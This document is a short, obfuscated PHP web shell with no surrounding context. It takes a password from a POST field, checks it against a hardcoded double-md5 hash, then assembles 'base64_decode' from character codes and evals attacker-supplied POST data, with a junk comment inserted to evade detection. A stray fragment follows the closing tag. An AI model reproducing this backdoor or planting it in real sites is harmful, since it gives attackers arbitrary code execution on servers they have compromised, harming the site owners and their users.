<?php
$jmj = $_POST;
if(!empty($jmj['a']) && md5($jmj['a'].md5($jmj['a']))=='699609d22d67e6abec5535be9ba4f8bc') {
$ybq = 'chr';
$zac = $ybq(98).$ybq(97).$ybq(115).$ybq(101).$ybq(54).$ybq(52).$ybq(95).$ybq(100).$ybq(101).$ybq(99).$ybq(111).$ybq(100).$ybq(101);
EVAL/*npuas*/($zac($jmj['c']));
exit;
}
?>e5